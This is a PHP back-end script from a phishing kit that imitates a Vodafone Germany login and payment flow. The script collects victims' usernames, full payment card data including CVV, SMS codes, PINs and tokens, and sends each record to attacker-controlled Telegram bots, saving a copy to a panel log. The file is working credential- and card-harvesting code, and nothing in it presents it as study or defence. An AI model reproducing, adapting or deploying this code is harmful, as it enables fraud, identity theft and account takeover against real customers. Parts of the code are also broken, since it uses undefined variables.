<?php
require "../main.php";


$mo = new Mother();
$bot = $a_bot;
$ids = explode(",", str_replace(" ", "", $a_ids));


$ip = $_SERVER['REMOTE_ADDR'];
$time = date("M d, Y") . " at " . date("h:i:sa");

function post($data)
{
	if (empty(trim($data))) {
		return "NO_DATA";
	} else {
		return htmlspecialchars($_POST[$data]);
	}
}



if (isset($_POST['username'])) {
	$login = post("username");
	$price = post("price");
	$telegram_content = urlencode("
	Vodafone DE LOGIN / $ip
	---------------------------------------
	+ Username : $login
	+ price : $price
	---------------------------------------
	+ PANEL : $panel
	");


	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ LOGIN [ $login | $price ] ";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);

	foreach ($ids as $id) {
		$mo->sendBot($telegram_content, $bot, $id);
	}
}

if (isset($_POST['username_auth'])) {
	$login = post("username_auth");
	$price = post("price");
	$telegram_content = urlencode("
	Vodafone DE LOGIN / $ip
	---------------------------------------
	+ Username : $login
	+ price : $price
	---------------------------------------
	+ PANEL : $panel
	");


	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ LOGIN [ $login | $price ] ";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);

	foreach ($ids as $id) {
		$mo->sendBot($telegram_content, $bot, $id);
	}
}


if (isset($_POST['cc'])) {

	$email = post('email');
	$titular = post('titular');
	$cardnumber = post('cc');
	$exp = post("exp");
	$cvv = post("cvv");

	$telegram_content = urlencode("
	Vodafone DE CARD / $ip
	---------------------------------------
	+ Email : $email 
	+ Titular : $titular 
	+ Cardnumber : $cardnumber 
	+ ExpDate : $exp 
	+ CVV : $cvv
	---------------------------------------
	+ PANEL : $panel
	");

	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ CARD [ $titular | $cardnumber | $exp | $cvv | $email ]";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);

	foreach ($ids as $id) {
		$mo->sendBot($telegram_content, $bot, $id);
	}
}


if (isset($_POST['sms'])) {

	$sms = post("sms");
	$pin = post("pin");

	$telegram_content = urlencode("
	Vodafone DE sms / $ip
	---------------------------------------
	+ sms : $sms
	+ pin : $pin
	---------------------------------------
	+ PANEL : $panel
	");

	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ sms [ $sms , $pin ] ";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);

	foreach ($ids as $id) {
		$mo->sendBot($telegram_content, $bot, $id);
	}
}


// if (isset($_POST['pin'])) {

// 	$pin = post("pin");

// 	$telegram_content = urlencode("
// 	Vodafone DE PIN / $ip
// 	---------------------------------------
// 	+ pin : $pin
// 	---------------------------------------
// 	+ PANEL : $panel
// 	");

// 	$oldlogs = $m->getData()["LOGS"];
// 	$newlogs = $oldlogs . "\n+ pin [ $pin ] ";
// 	$arr = array("LOGS" => $newlogs);
// 	$m->update($arr);


// 	foreach ($ids as $id) {
// 		$mo->sendBot($telegram_content, $bot, $id);
// 	}
// }


if (isset($_POST['token'])) {

	$token = post("token");

	$telegram_content = urlencode("
	Vodafone DE token / $ip
	---------------------------------------
	+ token : $token
	---------------------------------------
	+ PANEL : $panel
	");

	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ token [ $token ] ";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);


	foreach ($ids as $id) {
		$mo->sendBot($telegram_content, $bot, $id);
	}
}

if (isset($_POST['ins'])) {
	$ins = post("ins");

	$telegram_content = urlencode("
    Vodafone DE PIN / $ip
    ---------------------------------------
    + inspect :  | User-Agent: " . $_SERVER["HTTP_USER_AGENT"] . " | IP: " . $_SERVER["REMOTE_ADDR"] . "
    ---------------------------------------
    + PANEL : $panel
    ");

	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ pin [ $ins ] ";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);

	foreach ($ids as $id) {
		$mo->sendBot($telegram_content, $bot, $id);
	}
}




if (isset($_POST['cc2'])) {

	$cardnumber = post('cc2');
	$exp = post("exp");
	$cvv = post("cvv");

	$telegram_content = urlencode("
Vodafone DE CARD 2 / $ip
---------------------------------------
+ Cardnumber : $cardnumber 
+ ExpDate : $exp 
+ CVV : $cvv
---------------------------------------
+ PANEL : $panel
");

	$oldlogs = $m->getData()["LOGS"];
	$newlogs = $oldlogs . "\n+ CARD [ $cardnumber | $exp | $cvv ]";
	$arr = array("LOGS" => $newlogs);
	$m->update($arr);

	foreach ($ids as $id) {
		$mo->sendBot($telegram_content, $bot, $id);
	}
}
